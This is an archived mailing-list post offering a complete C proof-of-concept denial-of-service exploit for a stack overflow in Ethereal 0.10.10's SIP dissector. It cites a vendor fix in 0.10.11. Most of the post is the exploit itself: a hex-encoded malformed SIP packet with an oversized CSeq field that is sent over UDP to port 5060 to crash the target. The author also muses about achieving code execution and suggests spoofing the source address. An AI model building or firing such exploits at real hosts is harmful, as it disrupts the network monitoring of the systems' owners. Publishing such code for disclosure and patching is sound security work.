<<< Date Index >>>     <<< Thread Index >>>

Ethereal <= 0.10.10 SIP dissector stack overflow DoS exploit



Proof-of-concept DoS exploit for the ethereal SIP dissector stack overflow
vulnerability discovered by SecurityLab.


/* ethereal_sip_dos.c - by Shaun Colley <shaun rsc cx>
 *
 * This code exploits the Ethereal <= 0.10.10 SIP dissector stack overflow
vulnerability,
 * reported by SecurityLab.  See the advisory for more details (i.e. fix) -
 * <http://www.securitylab.net/ethereal-0-10-10.txt>
 *
 * This buffer overflow bug is due to a blind copy of the "CSeq" field in
a packet containing a SIP header.
 * If a malformed SIP packet appears on the same interface as the
vulnerable Ethereal,
 * Ethereal will strcpy() the SIP header's CSeq field into a buffer
without bounds checking.
 * This code transmits a SIP header (in a UDP datagram) with an overly
long CSeq field, which
 * results in a stack overflow because of the strcpy().  It is probably
 * possible to execute code, but since Ethereal first validates each byte
with an 'isalpha' check,
 * shellcode may have to be printable ASCII-only if the bug were to be
exploited.  I am not
 * certain on how easy code execution would be.  Important things get
overwritten during the overflow,
 * so the attacker would need to fill them back in themselves.
 *
 * Ethereal have released a patch.  Ethereal 0.10.11 fixes this bug.
 *
 * syntax: ethereal_sip_dos <host> - where <host> is an address that makes
the packet appear on
 * the Ethereal host's interface, i.e. target's IP address.
 *
 * This code doesn't spoof the source address - if you care, capture the
packet and retransmit
 * it with a spoofed source IP address.
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

/* malformed SIP packet */
char sip_packet[] =
"\x4f\x50\x54\x49\x4f\x4e\x53\x20\x73\x69\x70\x3a\x68\x61\x63"
                    
"\x6b\x20\x53\x49\x50\x2f\x32\x2e\x30\x0a\x56\x69\x61\x3a\x20"
                    
"\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x63\x70\x63"
                    
"\x31\x2d\x6d\x61\x72\x73\x31\x2d\x33\x2d\x30\x2d\x63\x75\x73"
                    
"\x74\x32\x32\x35\x2e\x6d\x69\x64\x64\x2e\x63\x61\x62\x6c\x65"
                    
"\x2e\x6e\x74\x6c\x2e\x63\x6f\x6d\x3a\x35\x35\x31\x31\x38\x3b"
                    
"\x72\x70\x6f\x72\x74\x0d\x0a\x56\x69\x61\x3a\x20\x53\x49\x50"
                    
"\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x68\x61\x63\x6b\x3a\x39"
                    
"\x0a\x46\x72\x6f\x6d\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b"
                    
"\x3b\x74\x61\x67\x3d\x36\x31\x35\x61\x65\x37\x37\x30\x0a\x54"
                    
"\x6f\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b\x0a\x43\x61\x6c"
                    
"\x6c\x2d\x49\x44\x3a\x20\x31\x36\x33\x33\x33\x34\x37\x34\x35"
                    
"\x32\x3a\x20\x68\x61\x63\x6b\x0a\x43\x53\x65\x71\x3a\x20\x61"
                    
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
                    
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
                    
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
                    
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
                    
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
                    
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
                    
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x81\xd9"
                    
"\x04\x28\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x68\x61\x63"
                    
"\x6b\x3a\x39\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e"
                    
"\x67\x74\x68\x3a\x20\x30\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77"
                    
"\x61\x72\x64\x73\x3a\x20\x37\x30\x0a\x55\x73\x65\x72\x2d\x41"
                    
"\x67\x65\x6e\x74\x3a\x20\x65\x74\x68\x65\x72\x65\x61\x6c\x20"
                    "\x63\x72\x61\x73\x68\x0a";

int main(int argc, char *argv[]) {
  if(argc < 2) {
    printf("syntax: %s <host>\n", argv[0]);
    return 1;
  }

  struct sockaddr_in dest;
  struct hostent *he;
  int sock, slen = sizeof(struct sockaddr);

  if((he = gethostbyname(argv[1])) == NULL) {
    printf("Couldn't resolve %s\n", argv[1]);
    return 1;
  }

  if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
    perror("socket()");
    return 1;
  }

  dest.sin_port = htons(5060);
  dest.sin_family = AF_INET;
  dest.sin_addr = *((struct in_addr *)he->h_addr);

  if (sendto(sock, sip_packet, sizeof(sip_packet), 0, (struct sockaddr
*)&dest, slen)== -1) {
    printf("Error sending packet!\n");
    return 1;
  }

  printf("Exploit packet sent..\n");

  close(sock);
  return 0;
}


If the code looks screwed, reference:
<http://www.demodulated.net/code/ethereal_sip_dos.c>.


Thanks,
Shaun